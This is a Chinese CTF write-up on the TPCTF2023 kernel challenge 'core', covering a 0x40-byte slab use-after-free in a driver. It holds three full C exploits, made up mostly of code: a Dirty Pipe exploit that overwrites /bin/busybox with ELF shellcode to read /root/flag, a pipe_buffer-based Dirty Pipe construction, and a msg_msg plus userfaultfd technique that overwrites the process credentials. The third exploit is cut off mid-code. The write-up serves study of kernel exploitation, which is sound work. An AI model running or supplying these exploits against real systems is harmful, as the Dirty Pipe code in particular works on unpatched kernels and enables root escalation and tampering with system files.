当前位置: 首页 > news >正文

【slab/0x40 UAF】TPCTF2023 - core 一题多解

前言

这题据说比赛被非惨了,但是笔者比较菜,比赛的时候没有正规做出来并且也没有发现非预期,乐。其实比赛的时候一直在纠结为啥 free obj 没有 freelist,哎,陷进去了,我的 Root 宝贝。

笔者赛后用两种【常规】方式成功复现,第一种方法是利用 pipe 去构造 dirty pipe 覆写 busybox 拿 flag(其实作者给的内核版本本身就有 dirty pipe 漏洞,这里笔者只是为了复习这里利用技巧而复杂化了);第二种方法是利用 msg_msg 去进行任意读写从而覆写 cred 进行提权。

这里笔者还尝试用 USMA 进行利用,理论和调试上都可行,但是最后发现普通用户无法创建新的命名空间,从而导致无法创建 AF_RAW 的 socket,固利用失败,但笔者最后也会提一下该思想。

漏洞分析

保护:开了 kaslr、kpti、smep、smap。测试发现其开了 SLAB_FREELIST_RANDOM,但是没有开 cg,所以这里可以选择多种结构体进行利用。题目采用的是 slab 分配器。

驱动模块 baby.ko 实现了一个增、删、改菜单。

漏洞点:

在 add 的时候,存在数组越界,可以将一个 obj 地址写到 heap_var[15] 处,而 heap_var[15] 刚好是 heap_var[0] 的 tag 位置。

并且在 delete 的时候,并没有清楚 obj 地址,只是清除了其 tag,在进行释放、修改时会检测 tag 是否存在:

所以这里就存在 0x40 大小的 UAF。即:

        1)add 一个 0x40 大小的 obj0

        2)释放 obj0,其 tag 被清除

        3)利用数组越界,写一个 obj 地址到 obj0 的 tag 位置

 但是这里限制了 add 的次数为 5 次,其刚好够我们构造一次 UAF。所以题目转换为:一次 0x40 大小的 UAF,有任意写该 UAF obj 的能力

漏洞利用

这个题目本身的问题的就大,其中内核本身没 patch,存在 dirty pipe 漏洞(调着调着发现不对劲,乐),然后还有一些非预期就不说了。

splice 本身的漏洞 -- dirty pipe

关于 dirty pipe 漏洞,笔者在安全客上发表过一篇分析文章,这里就不再讲解原理,exp 如下

注:其中 elfcode 来自 Spirit 战队的 wp(懒得搞,直接抄现成的)

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>#define ATTACK_FILE "/bin/busybox"void err_exit(char* msg)
{printf("[X] %s\n", msg);exit(-1);
}int main(int argc, char** argv, char** env)
{int fd;int pipe_fd[2];loff_t offset;char buf[PAGE_SIZE];fd = open(ATTACK_FILE, O_RDONLY);if (fd < 0) err_exit("Can't open target file");if (pipe(pipe_fd) < 0) err_exit("Can't create pipe");for (int i = 0; i < 16; i++) if (write(pipe_fd[1], buf, PAGE_SIZE) < 0) err_exit("Can't write pipe");for (int i = 0; i < 16; i++) if (read(pipe_fd[0], buf, PAGE_SIZE) < 0) err_exit("Can't read pipe");offset = 0;if (splice(fd, &offset, pipe_fd[1], NULL, 1, 0) <= 0) err_exit("Failed at splice");unsigned char elfcode[] = {/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01,0x48, 0xb8, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2f, 0x66, 0x6c, 0x50, 0x6a,0x02, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff,0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f,0x99, 0x0f, 0x05, 0xEB};if (write(pipe_fd[1], elfcode, sizeof(elfcode)) < 0) err_exit("Failed to write page cache");return 0;
}

效果如下:

假设 splice 不存在漏洞,构造 drity pipe

利用思路如下:

1)add 一个 obj0

2)释放 obj0,分配 user_key_payload 占据 obj0

3)利用数组越界写 obj0 从而构造好 UAF

4)堆喷 pipe,并 splice,将 page_cache 挂到 pipe_buffer 中

5)UAF 修改 user_key_payload 的 datalen 实现越界读

6)user_key_payload 越界读泄漏 kernel_offset 和 page_cache

7)key_revoke 释放 user_key_payload

8)堆喷 pipe 占据 UAF obj

9)UAF 修改 pipe_buffer 的 page 字段为 page_cache,并修改 flags 为 0x10,这里就相当于构造好了 dirty pipe

10)写管道即写 page_cache

exp 如下:成功率并不是 100%

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_packet.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");sleep(5);exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");/* to exit the process normally, instead of segmentation fault */exit(EXIT_SUCCESS);
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct note {int func_idx;int no_use0;uint64_t tag;char* ptr;uint64_t no_use1;
};int fd;
void add(uint64_t tag)
{struct note n = { .tag = tag };ioctl(fd, 0x1001, &n);
}void dele(uint64_t tag)
{struct note n = { .tag = tag };ioctl(fd, 0x1003, &n);
}void edit(uint64_t tag, char* buf)
{struct note n = { .tag = tag, .ptr = buf };ioctl(fd, 0x1002, &n);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}struct page;
struct pipe_inode_info;
struct pipe_buf_operations;struct pipe_buffer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;
};#define KEY_SPRAY_NUMS 0x20
#define SPARY_PIPE_NUMS 0x30
#define FILE_NUMS 0x30
#define ATTACK_FILE "/bin/busybox"int main(int argc, char** argv, char** env)
{bind_core(0);//save_status();char desc[8];char buf[0x1000];int key_id;int pipe_fd[SPARY_PIPE_NUMS][2];int file_fd[FILE_NUMS];size_t kernel_offset;fd = open("/dev/baby", O_RDONLY);if (fd < 0) err_exit("FAILED to open dev file");for (int i = 0; i < FILE_NUMS; i++){if ((file_fd[i] = open(ATTACK_FILE, O_RDONLY)) < 0)err_exit("FAILED to open ATTACK_FILE");}memset(buf, 'A', sizeof(buf));puts("[+] ==> START <==");add(0); // 0add(1); // 1add(3); // 3add(7); // 7dele(0);key_id = key_alloc("Pwner", buf, 17);if (key_id < 0) err_exit("FAILED to key_alloc to get UAF chunk");for (int i = 0; i < FILE_NUMS; i++){if (pipe(pipe_fd[i]) < 0)err_exit("FAILED to spary pipe");}size_t pipe_sz = 0x1000 * (0x40 / sizeof(struct pipe_buffer));for (int i = 0; i < FILE_NUMS; i++){if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, pipe_sz) < 0)err_exit("FAILED to set pipe size to 0x40");}/*for (int i = 0; i < SPARY_PIPE_NUMS; i++){if (write(pipe_fd[i][1], buf, i+1) < 0) err_exit("FAILED to write pipe");}for (int i = 0; i < SPARY_PIPE_NUMS; i++){if (read(pipe_fd[i][0], buf, i+1) < 0) err_exit("FAILED to read pipe");}
*/for (int i = 0; i < FILE_NUMS; i++){loff_t offset = i;if (splice(file_fd[i], &offset, pipe_fd[i][1], NULL, 1, 0) <= 0)perror("[X} FAILED to splice"), exit(EXIT_FAILURE);}add(15); // 15// splice to leak page_cache page addrmemset(buf, 0, sizeof(buf));*(uint64_t*)buf = 0;*(uint64_t*)(buf+8) = 0;*(uint64_t*)(buf+16) = 0xf00;edit(0, buf);memset(buf, 0, sizeof(buf));kernel_offset = -1;int res = key_read(key_id, buf, 0xf00);hexx("key_read data len", res);//      binary_dump("OOB_READ DATA", buf, 0xf00);size_t anon_pipe_buf_ops = 0xffffffff81a0ec80;size_t page_cache_pipe_buf_ops = 0xffffffff81a0fa60;size_t page = 0;size_t hit_idx = 0;for (int i = 0; i < 0xf00 / 8; i++){if (*(uint64_t*)(buf+i*8) > 0xffffffff81000000 && (*(uint64_t*)(buf+i*8)&0xfff) == 0xa60){kernel_offset = *(uint64_t*)(buf+i*8) - page_cache_pipe_buf_ops;page_cache_pipe_buf_ops = *(uint64_t*)(buf+i*8);page = *(uint64_t*)(buf+i*8-16);hit_idx = *(uint32_t*)(buf+i*8-4-4);break;}}if (kernel_offset == -1) err_exit("FAILED to leak kernel offset");anon_pipe_buf_ops += kernel_offset;hexx("kernel_offset", kernel_offset);hexx("anon_pipe_buf_ops", anon_pipe_buf_ops);hexx("page_cache_pipe_buf_ops", page_cache_pipe_buf_ops);hexx("page_cache page", page);hexx("pipe_buffer hit_idx", hit_idx);int flag = 1;for (int i = 0; i < SPARY_PIPE_NUMS; i++){if (i != hit_idx){close(pipe_fd[i][1]);close(pipe_fd[i][0]);}if (i > SPARY_PIPE_NUMS / 2 && flag) key_revoke(key_id), flag = 0;}for (int i = 0; i < SPARY_PIPE_NUMS; i++){if (i != hit_idx)if (pipe(pipe_fd[i]) < 0) err_exit("FAILED to spary to get UAF obj");}//      key_revoke(key_id);for (int i = 0; i < SPARY_PIPE_NUMS; i++){if (i != hit_idx)if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, pipe_sz) < 0) err_exit("FAILED to set pipe size to 0x40");}//      memset(buf, 'A', sizeof(buf));
//      for (int i = 0; i < SPARY_PIPE_NUMS; i++)
//      {
//              if (i != hit_idx)
//                      if (write(pipe_fd[i][1], buf, i+1) < 0)
//                              err_exit("FAILED to write something to pipe");
//      }//      puts("[+] Stop 0 here");
//      add(20);memset(buf, 'A', 0x1000);for (int i = 0; i < FILE_NUMS; i++){//      loff_t offset = i;if (i != hit_idx) write(pipe_fd[i][1], buf, 1);//              if (splice(file_fd[i], &offset, pipe_fd[i][1], NULL, 1, 0) <= 0)//                      perror("[X} FAILED to splice"), exit(EXIT_FAILURE);}memset(buf, 0, sizeof(buf));*(uint64_t*)buf = page;*(uint64_t*)(buf+8) = 0x100000000;
//      *(uint64_t*)(buf+16) = page_cache_pipe_buf_ops;*(uint64_t*)(buf+16) = anon_pipe_buf_ops;*(uint64_t*)(buf+24) = 0x10;
//      puts("[+] Stop 1 here to edit");
//      add(0xff);sleep(1);for (int i = 0; i < 0x10000; i+=8){
//              printf("[x] write i: %x\n", i);edit(i, buf);}
//      puts("[x] edit over");unsigned char elfcode[] = {/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01,0x48, 0xb8, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2f, 0x66, 0x6c, 0x50, 0x6a,0x02, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff,0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f,0x99, 0x0f, 0x05, 0xEB};//      puts("[+] Stop 2 here to write pipe");
//      add(0xff);sleep(1);for (int i = 0; i < SPARY_PIPE_NUMS; i++){
//              printf("%d\n", i);if (i != hit_idx)write(pipe_fd[i][1], elfcode, sizeof(elfcode));}//      puts("[+] Stop 3 here to STOP");
//      add(20);puts("[X] Never EXP END");return 0;
}

效果如下:

msg_msg 任意地址读写修改 cred

该利用方式其实就是 BitsByWill 和 D3v17 大佬在 corCTF 2021 中所展示的技巧。强烈推荐看原博客,虽然都是英文的,但是说实话,看图就懂了。不得不说,图画的是真好真形象🐂,跟你说一万句不如一张图(所以后面基本搬大佬的图片)。

利用思路如下:

1)add 一个 obj0

2)释放 obj0,分配 msg_msg 占据 obj0

3)利用数组越界写 obj0 从而构造好 UAF

4)堆喷 0x40 大小的 msg_msg,形成如下布局:

5)UAF 修改 UAF msg_msg 的 m_ts 实现越界读,这里会读出一些内核地址,笔者将其作为一个字典进行比对进而泄漏 kernel_offset。同时可以在堆喷的 msg_msg 中写上特殊的 TAG 进行定位

6)在msg_msg-2 消息队列上发送一个 0x2000-0x30-8 的消息,(这里的图片来自上述大佬博客,太难画了,所以直接piao了)即形成如下布局:

7)再次利用 UAF msg_msg 进行越界读,从而泄漏 MSG #1(QID #1) 的地址

8)UAF 修改 UAF msg_msg 的 m_ts 和 next 进行任意地址读取。这里我们利用其来泄漏当前进程的 cred。主要就是遍历 init_task 的 tasks 链表,其中以 qid 进行确认,当然也可以通过 comm 字段,随你。

9)泄漏了当前进程的 cred 后,考虑的就是如果进行对其进行写入。这里我感觉也是这个思路比较秒的地方。

将 msg_msg-2 消息队列上的消息脱链,即释放掉。

注意,slab 是后进先出,所以如果这时在创建一个消息队列并发送一个 0x2000-0x30-8 的消息其布局如下:

这里的 msg_seg 就是上面的 msg_msg,所以这里 msg_seg 的地址我们是知道的,所以我们可以利用 userfaultfd 将其卡住,然后在另一个线程中利用 UAF 将该 mes_seg 释放掉:释放的思路很简单,修改 UAF msg_msg 的 next 指向该 msg_seg,并修复下 m_list,然后接收消息即可。

这时如果在创建一个消息队列并发送 0x1038-0x30-8 的消息,则会形成如下布局:

 同理在其写 meg_seg 时利用 userfaultfd 将其卡住。

那这里着描述,接着我们先让 #1 继续执行,这时就会修改上面蓝色消息的 next 指针,这里我们可以将其修改为 cred;然后再让 #2 继续执行,这时就修改了 cred 的内容

exp 如下:成功率还可以,比较高

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/prctl.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_packet.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");sleep(5);exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");/* to exit the process normally, instead of segmentation fault */exit(EXIT_SUCCESS);
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct note {int func_idx;int no_use0;uint64_t tag;char* ptr;uint64_t no_use1;
};int fd;
void add(uint64_t tag)
{struct note n = { .tag = tag };ioctl(fd, 0x1001, &n);
}void dele(uint64_t tag)
{struct note n = { .tag = tag };ioctl(fd, 0x1003, &n);
}void edit(uint64_t tag, char* buf)
{struct note n = { .tag = tag, .ptr = buf };ioctl(fd, 0x1002, &n);
}#define SPARY_NUMS 0x20struct msg_buf {long m_type;char m_text[1];
};struct msg_header {void* l_next;void* l_prev;long m_type;size_t m_ts;void* next;void* security;
};size_t check_table[] = {0xffffffff81276bc3,0xffffffff81276e2f,0xffffffff81b23a0b,0xffffffffc00021d0,0xffffffff81c41600,0xffffffff81c32d00,0xffffffff812cd7a0,0xffffffff812cd7c0,0xffffffff81c41520,0xffffffff812cd480,0xffffffff812cd4a0,0xffffffff81b3d486,0xffffffff81c4f2c0,0xffffffff81a15800,0xffffffff81b1b86e,0xffffffff81a29920,0xffffffff81b3f925,0xffffffff81c4f2a0,0xffffffff81a15860,0xffffffff81b3d47a,0xffffffff81c4f1c0,0xffffffff81b33afd,0xffffffff81c4f340,0xffffffff81b3f91a,0xffffffff81a15aa0,0xffffffff81c4f3a0,0xffffffff81b37a24,0xffffffff81b3d451,0xffffffff81b3d499
};size_t leak_offset(size_t addr)
{size_t kernel_offset = -1;if (addr < 0xffffffff81000000) return kernel_offset;for (int i = 0; i < sizeof(check_table) / sizeof(size_t); i++){if ((check_table[i] & 0xfff) == (addr & 0xfff)){kernel_offset = addr - check_table[i];break;}}return kernel_offset;
}void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}int qid;
char copy_src[0x1000];
char *uffd_buf1, *uffd_buf2;
uint64_t ll_next = -1, ll_prev = -1;
sem_t sem1, sem2, sem3;
size_t cred_cred = 0;
int pipe_fd[3][2];void* handler_1(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler_1");
//              sem_post(&sem1);write(pipe_fd[0][1], "g", 1);
//              sleep(1);*(uint64_t*)(copy_src + 8) = 0;*(uint64_t*)(copy_src + +0x10) = 1;*(uint64_t*)(copy_src + +0x18) = 0x2000-0x30-8;*(uint64_t*)(copy_src + +0x20) = cred_cred - 8;*(uint64_t*)(copy_src + +0x28) = 0;
//              sem_wait(&sem3);char w[1];read(pipe_fd[2][0], w, 1);uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
//              sem_post(&sem2);
//              sleep(1);write(pipe_fd[1][1], "g", 1);}
}void* handler_2(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler_2");char w[1];
//              sem_post(&sem3);write(pipe_fd[2][1], "g", 1);
//              sem_wait(&sem2);read(pipe_fd[1][0], w, 1);sleep(1);memset(copy_src, 0, sizeof(copy_src));*(int*)copy_src = 1;uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void* thread_handler1(void* arg)
{puts("[+] thread_handler1 start to work");int qqid = msgget(IPC_PRIVATE, IPC_CREAT|0666);if (qqid < 0) err_exit("FAILED to create a msg queue in thread_handler1");char buf[0x2000];struct msg_buf* msg = (struct msg_buf*)(uffd_buf1+0x30);msg->m_type = 1;if (msgsnd(qqid, msg, 0x2000-0x30-8, 0) < 0)err_exit("FAILED to send 0x2000 msg in thread_handler1");puts("[+] thread_handler1 over");return NULL;
}void* thread_handler2(void* arg)
{char w[1];read(pipe_fd[0][0], w, 1);
//      sem_wait(&sem1);puts("[+] thread_handler2 start to work");uint64_t buf[0x30/8];char buff[0x2000];buf[0] = ll_prev;buf[1] = ll_prev;buf[2] = 1;buf[3] = 0x10;buf[4] = ll_next;buf[5] = 0;edit(0, (char*)buf);int res = msgrcv(qid, buff, 0x10, 1, IPC_NOWAIT|MSG_NOERROR);hexx("  msgrcv to free data size", res);int qqid = msgget(IPC_PRIVATE, IPC_CREAT|0666);if (qqid < 0) err_exit("FAILED to create a msg queue in thread_handler1");struct msg_buf* msg = (struct msg_buf*)(uffd_buf2+0x30);msg->m_type = 1;if (msgsnd(qqid, msg, 0x1038-0x30-8, 0) < 0)err_exit("FAILED to send 0x2000 msg in thread_handler1");puts("[+] thread_handler2 over");return NULL;}int main(int argc, char** argv, char** env)
{bind_core(0);//save_status();char desc[0x10];char buf[0x1000];char msg_buffer[0x2000];struct msg_buf* msg_msg;int msg_idx[SPARY_NUMS];size_t kernel_offset;char target[16] = { 0 };//      sem_init(&sem1, 0, 0);
//      sem_init(&sem2, 0, 0);
//      sem_init(&sem3, 0, 0);for (int i = 0; i < 3; i++) pipe(pipe_fd[i]);strcpy(target, "XiaozaYaPwner");if (prctl(PR_SET_NAME, target, 0, 0, 0) != 0){err_exit("cannot set name");}fd = open("/dev/baby", O_RDONLY);if (fd < 0) err_exit("FAILED to open dev file");pthread_t thr1, thr2;uffd_buf1 = (char*)mmap(0, 0x2000, PROT_WRITE|PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);uffd_buf2 = (char*)mmap(0, 0x2000, PROT_WRITE|PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);register_userfaultfd(&thr1, (void*)(uffd_buf1+0x1000), 0x1000, handler_1);register_userfaultfd(&thr2, (void*)(uffd_buf2+0x1000), 0x1000, handler_2);puts("[+] ==> START <==");memset(buf, 'A', 0x1000);add(0); // 0add(1); // 1add(3); // 3add(7); // 7dele(0);if ((qid = msgget(IPC_PRIVATE, IPC_CREAT|0666)) < 0) err_exit("FAILED to create a msg_queue");memset(msg_buffer, 'A', sizeof(msg_buffer));msg_msg = (struct msg_buf*)msg_buffer;msg_msg->m_type = 1;if (msgsnd(qid, msg_msg, 0x40-0x30, 0) < 0) err_exit("FAILED to msgsnd a 0x40 msg");add(0xffff);memset(msg_buffer, 0, sizeof(msg_buffer));for (int i = 0; i < SPARY_NUMS; i++){if ((msg_idx[i] = msgget(0, IPC_PRIVATE|0666)) < 0) err_exit("FAILED to create a msg_queue");msg_msg->m_type = 1;*(uint64_t*)msg_msg->m_text = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_msg->m_text+8) = i;if (msgsnd(msg_idx[i], msg_msg, 0x40-0x30, 0) < 0) err_exit("FAILED to msgsnd a 0x40 msg");}sleep(0.1);
//      puts("[+] debugger");
//      add(20);memset(buf, 0, sizeof(buf));*(uint64_t*)(buf+0x10) = 1;*(uint64_t*)(buf+0x18) = 0x1000-0x30;for (int i = 0; i < 0x10000; i+=8){
//              printf("[x] write i: %x\n", i);edit(i, buf);}memset(msg_buffer, 0, sizeof(msg_buffer));int res = msgrcv(qid, msg_msg, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);if (res < 0) err_exit("FAILED to OOR msg");hexx("msgrcv data len", res);
